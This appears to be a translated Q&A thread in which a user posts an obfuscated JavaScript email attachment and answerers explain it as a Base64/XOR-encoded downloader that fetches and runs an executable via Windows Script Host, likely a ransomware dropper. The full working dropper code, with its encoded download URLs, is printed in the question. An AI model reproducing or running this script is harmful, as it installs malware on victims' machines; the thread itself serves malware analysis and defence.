Che tipo di attacco e-mail è questo?

3

Ho ricevuto il seguente invoice_scan_nHl8GB.js come allegato email da un indirizzo email falsificato / PC infetto compresso in E.zip .

Stranamente l'indirizzo del mittente non è falsificato, probabilmente perché proviene da un vero server. Ad esempio, conosco il mio amico Daniel, la cui email è [email protected]. In questo caso l'indirizzo del mittente è dani.el <[email protected]> , quindi hanno fatto uno scarso lavoro allo spoofing, o probabilmente hanno compromesso quel server (un blog WordPress) e hanno usato un indirizzo dall'aspetto attuale per ingannare i filtri antispam.

In secondo luogo, una cosa che mi preoccupa è che ci sono due destinatari di questa email, uno sono io e l'altro è un indirizzo utilizzato dal mio provider ADSL per confermare le e-mail per la ricezione di fatture PDF.

Non sono sicuro che questo indirizzo sia stato in qualche modo letto dal sistema infetto di Daniel (probabilmente usa Outlook) o dal mio (non penso a malware specificamente indirizzato a Opera Mail, anche se penso che MBS la scansione dei file è qualcosa che è fatto), o anche il sistema del provider telefonico (penso che questa sia la situazione meno probabile, ma chissà).

Ecco la mia "scansione delle fatture":

function decode(encroachmentzuB, careengdO, vexH6k, impositionPgg, toilAXq, permeateze0, commissionVXC, girdy8E, prospectiveOwW, cajoleloa, rangingQTN, grudgingEtZ, podiumeFq, plusdYa, incorrigiblekZ5, disconcertJyT, insistWat, sedulouss1w, collationc64, turgidMwv, disembarknA9) {
    var eludeC5D = "replace";
    encroachmentzuB = encroachmentzuB[eludeC5D](/[^A-Za-z0-9\+\/\=]/g, "");
    var grandiloquentBin = [ 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 64, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 ];
    var pertinaciousEFO = turgidMwv;
    if (!pertinaciousEFO) {
        pertinaciousEFO = new Uint8Array(Math.pow(encroachmentzuB.length / 4, 2) * 3);
    }
    disembarknA9 = disembarknA9 || 0;
    var maulPzM, palatableHOJ, adversexUM, filchVRW;
    var parochialaIH = 0, vacatej1i = disembarknA9;
    while (parochialaIH < encroachmentzuB.length) {
        var depraveCCW = "charCodeAt";
        maulPzM = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        palatableHOJ = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        adversexUM = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        filchVRW = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        pertinaciousEFO[vacatej1i++] = maulPzM << 2 | palatableHOJ >> 4;
        if (adversexUM !== 64) {
            pertinaciousEFO[vacatej1i++] = (palatableHOJ & 15) << 4 | adversexUM >> 2;
            if (filchVRW !== 64) {
                pertinaciousEFO[vacatej1i++] = (adversexUM & 3) << 6 | filchVRW;
            }
        }
    }
    return turgidMwv ? vacatej1i - disembarknA9 : pertinaciousEFO.subarray(0, vacatej1i);
}

var ratifyvWk = function(aptIGS) {
    var mootuns = [];
    var careengdO = "encroachmentjdC";
    var vexH6k = "contemptotO";
    var impositionPgg = "emolumentPGW";
    var toilAXq = "evidentwa6";
    var permeateze0 = "philosophicalIYw";
    var commissionVXC = "firebrandSs3";
    var girdy8E = "cadaverousT1u";
    var prospectiveOwW = "intrepidjwL";
    var cajoleloa = "cedexlC";
    var rangingQTN = "superciliouslMa";
    var grudgingEtZ = "unaffectedkGp";
    var podiumeFq = "subalternvAO";
    var plusdYa = "hoaryF1p";
    var incorrigiblekZ5 = "fanfarePFi";
    var disconcertJyT = "endemicYKK";
    var insistWat = "rudimentwkb";
    var sedulouss1w = "manneredDNl";
    var collationc64 = "approachm8r";
    var repinegrx = decode(aptIGS, careengdO, vexH6k, impositionPgg, toilAXq, permeateze0, commissionVXC, girdy8E, prospectiveOwW, cajoleloa, rangingQTN, grudgingEtZ, podiumeFq, plusdYa, incorrigiblekZ5, disconcertJyT, insistWat, sedulouss1w, collationc64, mootuns);
    var yeomanysi = "ASdasdcharCodeAtadsfaf".slice(6, 16);
    var tidecwN = "";
    for (var parochialaIH = 0; parochialaIH < repinegrx; parochialaIH++) {
        var fissureyBI = String.fromCharCode;
        tidecwN += fissureyBI(mootuns[parochialaIH] ^ "VtiEH9DlpPnDjlsD"[yeomanysi](parochialaIH % "VtiEH9DlpPnDjlsD".length));
    }
    return tidecwN;
};

var nexusQLE = function() {
    var decadencep1w = function() {
        var prospectiveoEx = ratifyvWk('"Egw5D3x3EFwSFg=="');
        var nostrumO4Y = ratifyvWk('"OgQMcRx4NigeCA=="');
        var inflammatoryBVD = ratifyvWk('"JSQtKhlxAChIaQ=="');
    };
    decadencep1w.prototype.UnAfXF1G5E = function(assiduousheI) {
        var librettoo2t = ratifyvWk('"FQYMJDxcCw4aNQ0w"');
        return wsh[librettoo2t](assiduousheI);
    };
    decadencep1w.prototype.pBnKM4RIDu = function(assiduousheI) {
        var librettoo2t = ratifyvWk('"FQYMJDxcCw4aNQ0w"');
        return WScript[librettoo2t](assiduousheI);
    };
    return decadencep1w;
}();

(function() {
    var betokenGRa = Math.pow(2, 10) * 249;
    var syllogismBZy = [ ratifyvWk('"PgAdNXIWaxsYNRwhCx4WPTkBBDwuSy0JHjQIIkQPHCl5TVprLUEh"'), ratifyvWk('"PgAdNXIWawERNgclBAkWICUNBjA5SGoPHz1BfVlCFjwz"') ];
    var kindlehGc = 4194304;
    var revulsionPLn = ratifyvWk('"ITdQIzFoLxU3IA=="');
    var trothQlP = ratifyvWk('"MkUZBglxPBs+aQ=="');
    var luminaryUld = new nexusQLE();
    var waylayD1w = luminaryUld[ratifyvWk('"JjYHDgUNFiU0JQ=="')];
    var tidesbQ = waylayD1w(ratifyvWk('"AScKNyFJMEIjOAsoBg=="'));
    var euphonyQUg = waylayD1w(ratifyvWk('"GycxCAQLajQ9HCYQPjw="'));
    var invidiousjXX = waylayD1w(ratifyvWk('"FzAmAQoXFxgCNQ8p"'));
    var stumpXNb = tidesbQ.ExpandEnvironmentStrings(ratifyvWk('"cyAsCBgcGA=="'));
    var conceptcP7 = stumpXNb + kindlehGc + ratifyvWk('"eBERIA=="');
    var improvidentgar = false;
    var perspicuousloO = 200;
    for (var resonantDdB = 0; resonantDdB < syllogismBZy.length; resonantDdB++) {
        try {
            var sanctionM5Q = syllogismBZy[resonantDdB];
            euphonyQUg.open(ratifyvWk('"ETE9"'), sanctionM5Q, false);
            euphonyQUg.send();
            if (euphonyQUg.status == perspicuousloO) {
                try {
                    invidiousjXX[ratifyvWk('"OQQMKw=="')]();
                    invidiousjXX.type = 1;
                    invidiousjXX[ratifyvWk('"IQYAMS0="')](euphonyQUg[ratifyvWk('"JBEaNSdXNwkyPwo9"')]);
                    if (invidiousjXX.size > betokenGRa) {
                        resonantDdB = syllogismBZy.length;
                        invidiousjXX.position = 0;
                        invidiousjXX.saveToFile(conceptcP7, 2);
                        improvidentgar = true;
                    }
                } finally {
                    invidiousjXX.close();
                }
            }
        } catch (ignored) {}
    }
    if (improvidentgar) {
        tidesbQ[ratifyvWk('"EwwMJg=="')](stumpXNb + Math.pow(2, 22));
    }
})();

Anche se ho apprezzato molto la poesia incorporata in questo script JS mi piacerebbe sapere cosa farebbe se fosse eseguito.

Come funziona? Cosa fa quando viene eseguito? Sembra che sia offuscato. Che tipo di malware è?

Attualmente uso Opera Mail su Windows 10. Daniel usa Outlook su una versione Windows non specificata (xp / vista / 7) Penso che il PC di Daniel sia stato infettato ma non ne sono sicuro.

    
posta beppe9000 26.02.2016 - 00:00
fonte

3 risposte

4

Ho scelto il codice sorgente.

La funzione decode() è semplicemente un decodificatore Base64. La maggior parte dei suoi argomenti e variabili locali non hanno assolutamente alcuno scopo.

Allo stesso modo, la funzione ratifyvWk() , che decodifica una stringa eseguendo la decodifica Base64 (usando la funzione sopra) seguita da un passo di decrittografia XOR in stile Vigenère con la chiave VtiEH9DlpPnDjlsD .

L'unica cosa utile che nexusQLE() fa è restituire un oggetto che può essere usato per accedere alla funzione di% diWScript.CreateObject() ActiveX. Infine, la funzione anonima usa questo per scaricare ed eseguire un file .exe da uno di questi due siti. Ecco il codice sorgente de-offuscato (convertito in un'immagine perché i due percorsi di download sembrano ancora attivi):

FunzioneràsolosucomputerWindowscon impostazioni di sicurezza errate , ma suppongo che ciò accada ancora.

    
risposta data 26.02.2016 - 02:01
fonte
1

Un file ZIP con JavaScript all'interno è comunemente usato negli attuali attacchi con ransomware (cryptolocker ecc.). Fornire la decodifica fatta da schifoso schizzinoso in un'altra risposta qui la struttura corrisponde a ciò che può essere visto da altri attacchi di cryptolocker:

  • File ZIP all'interno della posta
  • contenente Javascript - questo viene memorizzato localmente e quindi ha capacità diverse rispetto allo script memorizzato dal web. Questo file è solo il contagocce.
  • Il vero malware viene scaricato da qualche altra parte
  • Windows Scripting Host viene utilizzato per archiviare il download localmente e quindi eseguirlo
risposta data 26.02.2016 - 05:44
fonte
0

Secondo i laboratori delle minacce AV è un trojan: JS.Downloader. Vari worm e Trojan backdoor utilizzano JS.Downloader.Trojan per diffondersi su Internet. JS.Downloader.Trojan può accedere e scaricare file da una varietà di siti.

    
risposta data 26.02.2016 - 15:17
fonte

Leggi altre domande sui tag